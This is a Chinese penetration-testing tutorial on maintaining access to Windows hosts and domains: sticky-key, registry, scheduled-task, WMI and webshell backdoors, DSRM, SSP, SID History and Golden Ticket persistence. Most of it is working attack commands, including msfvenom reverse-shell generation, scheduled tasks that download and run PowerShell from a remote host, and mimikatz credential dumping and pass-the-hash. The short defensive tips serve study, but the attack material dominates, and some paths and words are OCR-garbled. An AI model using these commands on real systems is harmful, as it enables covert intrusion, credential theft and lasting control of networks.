权限维持分析及防御
后门(Backdoor),本意是指在建筑物的背面开设的门,通常比较隐蔽。在信息安全领域,后门是指绕过安全控制措施获取对程序或者系统访问权限的方法。简单地说,后门就是一个留在目标主机的软件,它可以使攻击者随时与目标主机进行连接。在大多数情况下,后门是一个运行在目标主机上的隐蔽进程。因为后门可能允许一个普通的、未授权的用户控制计算机,所以攻击者经常使用后门来控制服务器。
攻击者在提升权限后,往往会建立后门来维持对目标主机的控制权。这样一来,即使修复了被攻击者利用的系统漏洞,攻击者还是可以通过后门继续控制目标系统。因此如果我们能够了解攻击者在系统中建立后门的方法和思路,就可以在发现系统被人侵后快速找到攻击者留下的后门并将其清除。
操作系统后门分析及防范
操作系统后门,泛指绕过目标系统安全控制体系的正规用户认证过程来维持对目标系统的控制权及隐匿控制行为的方法。系统维护人员可以清除操作系统中的后门,以恢复目标系统安全控制体系的正规用户的认证过程。
粘滞键后门
粘滞键后门是一种比较常见的持续控制的方法。
在Windows主机上连续按5次"Shift"键,即可调用出粘滞键 。Windows粘滞键主要是为无法同时按多个按键的用户设计的。例如,在使用组合键时,用户需同时按住两个或多个键位,但是如果使用粘滞键,用户只需要按一个键。
当攻击者用恶意脚本替换windowssystem32 目录下的粘滞键可执行文件sethc.exe,连续按五次"Shift"键,可以直接以System权限执行系统命令、创建管理员用户、登录服务器等。
#我们在cs中获取system权限之后可以执行如下命令或者直接上传cmd替换即可
cd windows\system32
move sethc.exe sethc.exe.bak
copy cmd.exe sethc.exe
在Empire下也可以简单地实现这一功能,我们需要先获取一个高权限的shell,接着执行如下命令
#进入目标主机
interact GADN8YKU(目标主机)
set Listener test1
#设置主机名
set ComputerName ADMIN-PC.god.org
set TargetBinary sethc.exe
execute
在目标主机上按shift5次即可触发后门,执行后成功反弹shell,如下。
针对粘滞键后门,可以采取如下防范措施。
- 在远程登录服务器时,连续按5次"Shift” 键,判断服务器是否被人侵。
- 拒绝使用setch.exe或者在“控制面板”中关闭“启用粘滞键”选项。
注册表注入后门
在普通用户权限下,攻击者会将需要执行的后门程序或者脚本路径填写到注册表键HKCU:SofwareMicrosoftWindowsCurrentVersionRun中( 键名可以任意设置)。
在Empire下也可以实现这-功能。 输人"usemodule persistence/userland/registry"命令,模块运行后,会在目标主机的启动项里增加一个命令。
set Listener test1
set RegPath HKCU:Software\Microsoft\Windows\CurrentVersion\Run
execute
再次登录用户时,同样可以收到返回的shell
注册表注入后门防范措施:杀毒软件对此类后门有专门的查杀机制,当发现系统中存在后门时会弹出提示框。根据提示的内容,采取相应的措施,即可删除此类后门。
计划任务后门
计划任务在Windows 7 及之前版本的操作系统中使用at命令调用,在从Windows 8 版本开始的操作系统中使用schtasks命令调用。计划任务的后门分为管理员权限和普通用户权限两种,管理员权限的后门可以设置更多的计划任务,例如重启后运行。
计划任务后门的基本命令如下。该命令表示每小时执行一次 notepad.exe。
schtasks /Create /tn Updater /tr notepad.exe /sc hourly /mo 1
常见的渗透测试平台中模拟计划任务后门进行安全测试的方法如下
在msf中模拟计划任务后门
使用msf中的Poweshell payload web delivery模块,可以模拟攻击者在目标系统中快速建立会话的行为。因为该行为不会被写人磁盘, 所以安全防护软件不会对该行为进行检测。
#生成后门
msfvenom -a x86 --platform windows -p windows/meterpreter/reverse_tcp LHOST=192.168.252.133 LPORT=11111 -b "\x00" -e x86/shikata_ga_nai -i 10 -f exe -o /shell123.exe
use exploit/multi/script/web_delivery
set target 2
set payload windows/meterpreter/reverse_tcp
set lhost 192.168.252.133
set lport 443
set URIPATH /
exploit
schtasks /create /tn WindowsUpdate /tr "c:\windows\system32\powershell.exe -WindowStyle hidden -NoLogo -NonInteractive -ep bypass -nop -c 'IEX ((new-object net.webclient).downloadstring("http://192.168.252.133:5555/"))'" /sc onlogon /ru System
用户登录
schtasks /create /tn WindowsUpdate /tr "c:\windows\system32\powershell.exe -WindowStyle hidden -NoLogo -NonInteractive -ep bypass -nop -c 'IEX ((new-object net.webclient).downloadstring("http://192.168.252.133:5555/"))'" /sc onlogon /ru System
系统启动
schtasks /create /tn WindowsUpdate /tr "c:\windows\system32\powershell.exe -WindowStyle hidden -NoLogo -NonInteractive -ep bypass -nop -c 'IEX ((new-object net.webclient).downloadstring("http://192.168.252.133:5555/"))'" /sc onstart /ru System
系统空闲
schtasks /create /tn WindowsUpdate /tr "c:\windows\system32\powershell.exe -WindowStyle hidden -NoLogo -NonInteractive -ep bypass -nop -c 'IEX ((new-object net.webclient).downloadstring("http://192.168.252.133:5555/"))'" /sc onidle /i 1
在PowerSploit中模拟计划任务后门
使用powershell版本的powerSploit渗透测试框架的Persistence模块,可以模拟生成一个自动创建计划任务的后门脚本
将powerSploit下的Persistence.psm1模块,下载地址,上传到目标主机之后执行如下命令
Import-Module .\Persistence.psm1
接着输入如下命令,使用计划任务方式创建后门。该后门会在计算机处于空闲状态时执行,执行成功后会生成名为Persistence.ps1
脚本,需要更改触发条件,查看脚本说明。
$ElevatedOptions = New-ElevatedPersistenceOption -ScheduledTask -OnIdle
$UserOptions = New-UserPersistenceOption -ScheduledTask -OnIdle
Add-PERSISTENCE -FilePath ./shuteer.ps1 -ElevatedPersistenceOption $ElevatedOptions -UserPersistenceOption $UserOptions -Verbose
其中shuteer.ps1是计划任务要执行的payload,可以执行如下命令来生成文件
msfvenom -p windows/x64/meterpreter/reverse_https lhost=192.168.252.133 lport=11111 -f psh-reflection -o shuteer.ps1
将上边生成的persistence.ps1放到web服务器,在目标主机中执行。当主机处于空闲时,就会执行如下命令。反弹一个meterpreter会话。
powershell -nop -exec bypass -c "IEX (New-Object Net.WebClient).DownloadString('http://server_ip:8080/Persistence.ps1');"
==============================================================================================================================================================================
在Empire中模拟计划任务后门
在Empire中可以模拟计划任务后门
输入usemodule persistence/elevated/schtasks
命令,然后输入如下命令,设置DailyTime、Listener两个参数,输入"execute"命令。这样,到了设置时间,将返回一个高权限的shell。
set DailyTime 23:10
set Listener test
execute
在实际运行该模块时,安全防护软件会给出提示。我们可以根据信息,采取相应的防范措施。
在本实验中,如果把"set RegPath"命令的参数改为"HKCU:SOFTWAREMicrosoftWindowsCurrentVersionRun",就会在目标时间添加一个注册表后门
对计划任务后门,有效的防范措施是:安装安全防护软件并对系统进行扫描;及时为系统打补丁;在内网中使用强度较高的密码。
meterpreter后门
Cymothoa后门
WMI型后门
WMI型后门只能由具有管理员权限的用户运行。WMI型后门通常是用PowerShell编写的可以直接从新的WMI属性中读取和执行后门代码、给代码加密。通过这种方法,攻击者可以在系统中安装一个具有持久性的后门,且不会在系统磁盘中留下任何文件。
WMI型后门主要使用了WMI的两个特征,即无文件和无进程。其基本原理是:将代码加密存储于WMI中,达到所谓的“无文件";当设定的条件被满足时,系统将自动启动PowerShell 进程去执行后门程序,执行后,进程将会消失(持续时间根据后门的运行情况而定,一般是几秒).达到所谓的“无进程”。
在Empire下使用Invoke-WMI模块。
#进入目标主机
interact 目标主机shell
info
set DailyTime 13:57
set Listener test1
run
检查目标主机的情况,可以发现WMI后门已经存在主机中了,在powershell中执行如下命令。
Get-WmiObject -Namespace root\Subscription -Class CommandLineEventConsumer -FILTER "Name='Updater'"
Web后门分析与防范
Web后门俗称WebShell,是一段包含 ASP、ASP.NET、PHP、JSP程序的网页代码。这些代码都运行在服务器上。攻击者会通过一-段精心设计的代码, 在服务器上进行一些危险的操作, 以获取某些敏感的技术信息,或者通过渗透和提权来获得服务器的控制权。IDS、杀毒软件和安全工具一般都能将攻击者设置的Web后门检测出来。不过,有些攻击者会编写专用的Web后门来隐藏自己的行为。
Nishang下的WebShell
Nishang是一款针对PowerShell的渗透测试工具,集成了框架、脚本和各种Payload,广泛用于渗透测试的各个阶段。
在Nishang中也存在ASPX的"大马"。该模块在nishangAntak-WebShell目录下。使用该模块,可以进行编码、执行脚本、上传/下载文件等。
weevely 后门
weevely 是款用 Python语言编写的针对PHP平台的WebShell 其主要功能如下。
- 执行命令和测览远程文件。
- 检测常见的服务器配置问题。
- 创建TCP Shell和Reverse Shell,
- 打扫描端口。
- 安装HTTP代理。
运行weevely
查看帮助信息。
weevely <URL> <password> [cmd] #连接一句话木马
weevely session <path> [cmd] #加载会话文件
weevely generate <password> <path> #生成后门代理
执行如下命令,生成一个webshell,并将其保存为test.php
,其中test为密码,root/Desktop/test.php
。
python weevely.py generate test /root/Desktop/test.php
test.php中的内容
将其放到目标web服务器下,在本地访问
输入以下命令通过weevely连接webshell
python3 weevely.py http://192.168.252.180/test_w.php test
接下来尝试输入一些命令来检测webshell的功能是否正常,可以看到已经与webshell建立连接,输入help查看帮助
audit_suidsgid 通过SUID和SGID查找文件,
audit_filesystem 用于进行错误权限审计的系统文件。
audit_etcpasswd 通过其他方式获取的密码,
shell_php 执行PHP命令。
shell_sh 执行Shell命令。
shell_su 利用su命令提权。
system_extensions 收集PHP和Web服务器的延伸列表,
system_info 收集系统信息。
backdoor_tcp 在TCP端口处生成一个后门。
sql_dump 导出数据表。
sql_console 执行SQL查询命令或者启动控制台。
net_ifconfig 获取目标网络的地址。
net_proxy 通过本地HTTP端口设置代理。
net_scan 扫描TCP端口。
net_curl 远程执行HTTP请求。
net_phpproxy 在目标系统中安装PHP代理。
输入system_info
查看目标主机的系统信息
扫描目标主机端口
net_scan 192.168.252.180 0-100
扫描目标主机的内网IP地址段192.168.252.1/24
net_scan 192.168.252.1/24
webacoo后门
webacoo(Web Backdoor Cookie)是一款针对PHP平台的Web后门工具。
ASPX meterpreter后门
Metasploit中有一个名为"shell_reverse_tcp"的Payload,可用于创建具有meterpreter功能的ShellCode。
PHP meterpreter后门
Metasploit中有一个名为"shell_reverse_tcp"的Payload,可用于创建具有meterpreter功能的ShellCode。
域控制器权限持久化与分析
在获得域控制器的权限后,攻击者通常会对现有的权限进行持久化操作。本节将分所攻击者在拥有域管理员权限后将权限持久化的方法,并给出相应的防范措施。
DSRM 域后门
DSRM域后门简介
DSRM ( Directory Services Restore Mode,目录服务恢复模式)是Windows域环境中域控制器的安全模式启动选项。每个域控制器都有一个本地管理员账户 (也就是DSRM账户)。DSRM的用途是:允许管理员在域环境中出现故障或崩溃时还原、修复、重建活动目录数据库,使域环境的运行恢复正常。在域环境创建初期,DSRM的密码需要在安装DC时设置,且很少会被重置。修改DSRM密码最基本的方法是在DC上运行ntdsutil 命令行工具。在渗透测试中,可以使用DSRM账号对域环境进行持久化操作。如果域控制器的系统版本为Windows Server 2008,需要安装KB961320才可以使用指定域账号的密码对DSRM的密码进行同步。在Windows Server 2008以后版木的系统中不需要安装此补丁。如果域控制器的系统版本为Windows Server 2003则不能使用该方法进行持久化操作。
我们知道,每个域控制器都有本地管理员账号和密码(与城管理员账号和密码不同)。DSRM账号可以作为一个域控制器的本地管理品用户, 通过网络连接城控制器, 进而控制域控制器。
修改DSRM密码的方法
微软公布了修改DSRM密码的方法。在城控制器上打开令行环境,常用命令说明如下
- NTDSUTIL: 打开ndsuil
- set dsrm password:设置DSRM的密码。
- reset pssword on server null:在当前域控制器上恢复DSRM密码。
- <PASSWORD>:修改后的密码。
- q(第1次):退出DSRM密码设置模式。
- q(第2次):退出ntdsutil
如果域控制器的系统版本为Windows Server 208已安装KB961320 及以上,可以将DSRM密码同步为已存在的域账号密码。常用命令说明如下。
- NTDSUTIL: 打开ntdsutil。
- SET DSRM PASSWORD:设置DSRM的密码。
- SYNC FROM DOMAIN ACCOUNT domainusername:使DSRM的密码和指定域用户的密码同步。
- q(第1次):退出DSRM密码设置模式。
- q(第2次):退出ntdsutil。
实验操作
(1)使用mimikatz查看krbtgt的NTLM Hash
在域控制器中打开mikaiz,分别输人如下命令。
privilege::debug
lsadump::lsa /patch /name:krbtgt
(2)mimikatz查看并获取SAM文件中DSRM账号的NTML Hash
token::elevate
lsadump::sam
(3)将DSRM账号和krbtgt的NTLM Hash同步
“Password has been synchronized successfully”表示密码同步成功
NTDSUTIL:打开ntdsutil
set DSRM password:修改DSRM的密码
sync from domain account 域用户名字:使DSRM的密码和指定域用户的密码同步
q(第1次):退出DSRM密码设置模式
q(第2次):退出ntdsutil
(4)查看DSRM的NTLM Hash是否同步成功
在域控制器中打开mimikatz,可以看到此时DSRM的hash就和krbtgt的NTLM Hash一样了
(5)修改DSRM的登录方式
在注册表中新建HKLM\System\CurrentControlSet\Control\Lsa\DsrmAdminLogonBehavior
项。
DSRM有三种登录方式,具体如下:
- 0:默认值,只有当域控制器重启并进入DSRM模式时,才可以使用DSRM管理员账号
- 1:只有当本地AD、DS服务停止时,才可以使用DSRM管理员账号登录域控制器
- 2:在任何情况下,都可以使用DSRM管理员账号登录域控制器
在Windows Server 2000以后的版本操作系统中,对DSRM使用控制台登录域控制器进行了限制。如果要使用DSRM账号通过网络登录域控制器,需要将该值设置为2。输入如下命令,可以使用PowerShell进行更改,经测试,只有当该键没有创建爱的时候才可以成功执行如下命令。
New-ItemProperty "hklm:\system\currentcontrolset\control\lsa\" -name "dsrmadminlogonbehavior" -value 2 -propertyType DWORD
(6)使用DSRM账号通过网络远程登录域控制器
使用mimikatz进行哈希传递。在任意一台域成员主机上或者域控本机上打开mimikatz,执行如下内容
privilege::Debug
sekurlsa::pth /domain:owa /user:administrator /ntlm:82a65bffa23dce497a466164b5ff744f
#其中domain在之前mimikatz中可以看到。
(7)使用mimikatz的dcysnc功能远程转储krbtgt的NTLM Hash
哈希传递成功后会弹出一个cmd窗口,在该cmd中打开mimikatz执行如下命令
lsadump::dcsync /domain:god.org /dc:owa /user:krbtgt
#/domain:域名 /dc:域控主机名
在弹出的cmd中
DSRM域后门的防御措施
- 定期检查注册表中用于控制DSRM登录方式的键值hklm:systemcurrentcontrolsetcontrollsa确认该键值为1, 或者删除该键值。
- 定期修改城中所有城控制器的DSRM账号。
- 经常检查ID为4794的日志。当试设置活动目录服务还原模式的管理员密码会被记录在4794日志中。
SSP维持域控权限
SSP(Security Support Provider)是Windows操作系统的安全机制的提供者。简答的说,SSP就是一个DLL文件,主要用来实现Windows操作系统的身份认证功能,例如NTML、Kerberos、Negotiate、Secure Channel、Digets、Credential。
SSPI(Security Support Provider Interface,安全支持提供程序接口)是Windows操作系统在执行认证操作时使用的API接口,可以说,SSPI是SSP的API接口。
如果获得了目标网络的System权限,可以使用该方法进行持久化操作,其主要原理是:LSA(Local Security Authority)用于身份验证;lsass.exe作为Windows的系统进程,用于本地安全和登陆策略;在系统启动时,SSP将被加载到lsass.exe进程中。但是,假如攻击者对LSA进行了扩展,自定义了恶意的DLL文件,在系统启动时将其加载到lsass.exe进程中,就能获取到lsass.exe的明文密码。这样,即使用户更改密码重新登陆,攻击者依然能获取该账号的新密码。
两个实验
第一个实验是使用mimikatz将伪造的SSP注人内存。这样做不会在系统中留下二进制文件,但如果域控制器重启,被注人内存的伪造的SSP将会丢失。在实际网络维护中,可以针对这一点采取相应的防御措施。
在域控制器中以管理员权限打开mimikatz,执行如下命令
privilege::debug
misc::memssp
接着注销当前用户。输入用户名和密码后重新登录,获取明文密码,密码存储在日志文件C:\Windows\System32\mimilsa.log
中。
第二个实验是将mimikatz中的mimilib.dll放到系统的C:WindowsSystem32目录下,并将mimilib添加到注册表中。使用这种方法,系统重启也不会影响持久化的效果。
将mimikatz中的mimilib.dll复制到系统的C:WindowsSystem32目录下,需要注意的是,DLL文件的位数与操作系统的位数相同。
修改HKEY_LOCAL_MACHINE/System/CurrentControlSet/Control/Lsa/Security Packages
项,加载新的DLL文件
系统重启后,如果dll被加载成功,用户在登录的时候输入的账号密码就会记录在c:\windows\system32\kiwissp.log
中
SSP维持域控制器权限的防御措施
- 检查HKEY_LOCAL_MACHINE/System/CurrentControlSet/Control/Lsa/Security Packages项中是否有可疑的DLL文件
- 检查C:WindowsSystem32目录下是否有可疑DLL文件
- 使用第三方工具检查LSA中是否有可疑的DLL文件
SID History域后门
每个用户都有自己的SID。SID的作用主要是跟踪安全主体控制用户连接资源时的访问权限。SID History是在域迁移过程中需要使用的个属性。
如果将A域中的域用户迁移到B域中,那么在B域中新建的用户的SID会随之改变,进而影响迁移后用户的权限,导致迁移后的用户不能访问本来可以访问的资源。SID History的作用是在域迁移过程中保持域用户的访问权限,即如果迁移后用户的SID改变了,系统会将其原来的SID添加到迁移后用户的SID History属性中,使迁移后的用户保持原有权限、能够访问其原来可以访问的资源。使用mimikaz,可以将SID History 属性添加到域中任意用户的SID History 属性中。在渗透测试中,如果获得了域管理员权限(或者等同于域管理员的权限).就可以将SIDHisoy作为实现持久化的方法。
1.实验操作
将administrator的SID添加到恶意用户test 的SID History属性中。使用powershell查看用户的SID History属性
Import-Module activedirectory
Get-ADUser test -Properties sidhistory
打开一个具有域管理员权限的命令行窗口,然后打开mimikatz将Admnistrator的SID添加到test用户的SID Histery 属性中。需要注意的是:在使用mimikatz注人SID之前,需要使用*sid ::patch"命令修复NTDS服务,否则无法将高权限的SID注人低权限用户的SIDHisory属性: mimkaz在2.1版本以后,将mscasidd模块转移到了sid::add模块下。
privilege::debug
sid::patch
sid::add /sam:test /new:Administrator
接着查看test用户的SID history
我们登录test账户,最终的测试结果是test拥有了administrator的部分权限,例如浏览administrator下的文件,但是不能创建修改用户
Golden Ticket
在渗透测试过程中,如果发现系统中存在恶意行为,应及时更改域管理员密码,对受控机器进行断网处理,然后进行日志分析及取证。然而,攻击者往往会给自己留下多条进入内网的通道,如果我们忘记将krbtgt 账号重置,攻击者就能快速重新拿回域控制器权限。
在本节的实验中,假设域内存在一个SID为502的域账号krbtgt。 krbtgt是 KDC服务使用的账号,属于Domain Admins组。在域环境中,每个用户账号的票据都是由krbtgt生成的,如果攻击者拿到了krbtgt 的 NTLM Hash或者 AES-256值,就可以伪造域内任意用户的身份,并以该用户的身份访问其他服务。攻击者在使用域的 Golden Ticket(黄金票据)进行票据传递攻击时,通堂要堂握以下信息。
- 需要伪造的域管理员用户名。
- 完整的域名。
- 域SID krbtgt 的 NTLM Hash或AES-256值。
下面通过一个实验来分析 Golden Ticket
域控制器
- IP地址:192.168.252.198
- 域名:god.org
- 用户名:administrator
- 密码:123456-a
域成员服务器
- IP地址:192.168.252.180
- 域名:god.org
- 用户名:administrator
- 密码:123456-a
导出krbtgt的NTML Hash
执行如下命令
privilege::debug
lsadump::dcsync /domain:god.org /user:krbtgt
获取基本信息
#获取域SID
wmic useraccount get name,id
#获取当前用户的sid
whoami /user
#查询域管理员账户
net group "domain admins" /domain
#查询域名
ipconfig /all
实验操作
在获取目标主机的权限后,查看当前用户机器所属组